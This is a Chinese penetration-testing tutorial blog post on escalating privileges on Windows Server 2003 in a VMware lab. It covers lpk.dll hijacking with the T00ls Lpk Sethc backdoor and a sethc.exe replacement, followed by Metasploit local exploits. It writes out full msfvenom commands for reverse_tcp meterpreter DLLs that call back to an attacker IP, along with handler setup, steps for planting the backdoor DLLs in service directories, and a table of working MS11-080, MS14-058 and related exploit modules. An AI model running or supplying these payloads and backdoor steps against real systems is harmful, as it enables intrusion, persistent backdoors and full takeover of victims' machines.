当前位置:网站首页>112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、LPK.DDL劫持提权
1、sethc.exe是什么:
sethc.exe(sethc)是一个进程文件,按5下shift后,windows就执行system32下的sethc.exe,用来开启粘滞键。粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要作用是方便Shift与其他键的组合使用。 粘滞键可以先按一个键位,再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。
一般电脑连按五次shift会出现粘滞键提示。开启粘滞键的时候,任务栏右边的系统托盘区会出现粘滞键图标。如果想关闭粘滞键,只需将使用粘滞键前的钩消除就可以。
2、lpk.dll出现的背景:
(1)因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的 系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
(2)Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。
(3)意思就是:可执行文件都会加载lpk.dll这个文件,windows加载程序会先找程序所在目录是否存在此lpk.dll文件,如果没有就执行system32的lpk.dll
3、Windows查找dll文件的目录顺序:
(1)应用程序所在目录
(2)系统目录。 GetSystemDirectory 返回的目录,通常是系统盘\Windows\System32
(3)16位系统目录。该项只是为了向前兼容的处理,可以不考虑
(4)Windows目录。 GetWindowsDirectory 返回的目录,通常是系统盘\Windows
(5)当前目录。GetCurrentDirectory返回的目录
(6)环境变量PATH中所有目录。
4、lpk.dll劫持是什么:
(1)lpk.dll是存放在windows系统下的一个非常重要的dll文件。DLL英文全称Dynamic Link Library,中文意思是:动态链接库。其位于system32目录下,特点是每个可执行文件运行之前都要加载此dll,而windows系统特性是先判断可执行文件所在目录是否存在此dll,再判断system32目录,由此基于lpk的dll劫持就产生了
,T00ls Lpk Sethc工具只是利用这一特性而扩展编写的!
5、T00ls Lpk Sethc生成dll后门:
攻击者将该工具生成的lpk.dll上传至靶机的任意目录,受害者随后运行对应目录下的任何一个exe文件,随后将会触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。
6、MSF生成dll反弹sehll马:
(1)攻击方制作dll反弹shell马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x64.dll
#64位反弹Shell马
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x86.dll
#32位反弹Shell马
(2)攻击方使用dll反弹shell马:
msfconsole
#打开MSF
use exploit/multi/handler
#加载侦听模块
set payload windows/meterpreter/reverse_tcp
#设置成我们之前生成木马时使用的payload
set lhost 192.168.97.130
#设置攻击方的IP地址为监听地址
set lport 12345
#设置监听端口
run
#开启侦听
7、提权过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://upload.moonteam.com/upload_4.php
(3)实验过程:前提-3389开启状态
第一步:访问靶机链接,通过MIME突破白名单限制,上传php一句,得到webshell。
【以上过程省略】,下面是提权过程
第二步:攻击机上通过Tools Lpk Sethc v4.0攻击,设置热键cl以及启动密码后点击点击生成lpk.dll后门
第三步:通过webshell,我们发现WinWebMail目录是邮箱服务器的安装目录,我们可以把lpk.dll后门植入,当再该软件exe进程下次开启的时候,就会自动调用当前目录下的伪造的动态链接库lpk.dll后门
第四步:等待系统重启后,WinWebMail服务将会自动启动,然后该进程就会自动加载当前目录下的lpk.dll后门,成功触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。
远程连接靶机,键入5此shift触发粘滞键:
键入CL,触发后门:
输入后门密码,进入后门,输入命令whoami,发现已经是system权限了:
第五步:通过上面的后门程序,我们可以创建管理员组用户,然后通过3389登录进去,又发现到mysql的目录,我们可以把MSF生成的反弹Shell的lpk.dll放到mysql.exe进程的目录下,当系统重启后会自动启用该进程,从而触发伪造的lpk.dll,反弹shell到攻击机上
上传MSF生成的lpk.dll到靶机的mysql.exe目录下:
攻击机开启侦听:
等待靶机系统重启后,触发lpk.dll,成功反弹meterpreter shell,并且发现权限很低:
第六步:依次键入shell、systeminfo,查看操作系统版本,发现是winserver2003 x86,我们可以在msf中搜索可以提取的模块,加以利用
第七步:依次输入以下命令,搜索可以提权的模块,加以利用
exit
#退出meterpreter的shell
background
#挂机当前session 1
search 2003
·#搜索关于2003的exp
如下所示,带有local的一般都是本地提权:
use exploit/windows/local/ms11_080_afdjoinleaf
#这里测试第一个expset session 1
#设置刚刚获得的sessionset lhost 192.168.97.130
#攻击者IPset lport 12345
#攻击者刚刚获得的session的端口run
#运行getuid
#获取当前id
如下所示,在session 1的基础上又获得了一个session 2,这里的新session 2是system权限:
#或者使用use exploit/windows/local/ms14_058_track_popup_menu
模块
【开启了一个新session,进入新session直接就是system】【这个提权可以跟上一个提权并存】
#或者使用use exploit/windows/local/ms14_070_tcpip_ioctl
模块
【开启了一个新session,进入新session直接就是system】【这个提权只能单独使用】
发现session关闭了,所以需要重新反弹shell,可以通过刚刚获得的远程桌面,双击mysqld.exe触发lpk.dll反弹shell
如下:成功提权
#或者使用use exploit/windows/local/ms_ndproxy
【没有开启新session】【需要手动进入原来session,getuid直接发现就是system权限】
#或者使用use exploit/windows/local/ppr_flatten_rec
【没有开启新session】【需要手动进入原来session,再去getsystem提权获得system权限】
附:Window Server 2003设置软件开启自启
Window Server 2003如何设置软件的开启自启动,把软件或者快捷方式放入以下目录下即可:
附:Windows Server 2003-MSF本地提权的五个模块
模块 | 说明 |
---|---|
use exploit/windows/local/ms11_080_afdjoinleaf | 开启了一个新session,进入新session直接就是system |
use exploit/windows/local/ms14_058_track_popup_menu | 开启了一个新session,进入新session直接就是system,这个提权可以跟上一个提权并存 |
use exploit/windows/local/ms14_070_tcpip_ioctl | 开启了一个新session,进入新session直接就是system,这个提权只能单独使用 |
use exploit/windows/local/ms_ndproxy | 没有开启新session,需要手动进入原来session,直接getuid就是system权限 |
use exploit/windows/local/ppr_flatten_rec | 没有开启新session,需要手动进入原来session,再去getsystem提权 |
边栏推荐
- SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
- 一度辍学的数学差生,获得今年菲尔兹奖
- [extraction des caractéristiques de texture] extraction des caractéristiques de texture de l'image LBP basée sur le mode binaire local de Matlab [y compris le code source de Matlab 1931]
- Flet教程之 14 ListTile 基础入门(教程含源码)
- What development models did you know during the interview? Just read this one
- 【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
- Improve application security through nonce field of play integrity API
- 禁锢自己的因素,原来有这么多
- 深度学习秋招面试题集锦(一)
- [shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)
猜你喜欢
随机推荐
总结了200道经典的机器学习面试题(附参考答案)
Apprentissage comparatif non supervisé des caractéristiques visuelles par les assignations de groupes de contrôle
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
Use metersphere to keep your testing work efficient
《论文阅读》Neural Approaches to Conversational AI(1)
自律,提升自制力原来也有方法
Excel公式知多少?
How to write test cases for test coupons?
超标量处理器设计 姚永斌 第9章 指令执行 摘录
【全栈计划 —— 编程语言之C#】基础入门知识一文懂
La voie du succès de la R & D des entreprises Internet à l’échelle des milliers de personnes
【系统设计】指标监控和告警系统
How much do you know about excel formula?
Design intelligent weighing system based on Huawei cloud IOT (STM32)
Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
‘module‘ object is not callable错误
Test the foundation of development, and teach you to prepare for a fully functional web platform environment
【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码
Explore cloud database of cloud services together
Blog moved to Zhihu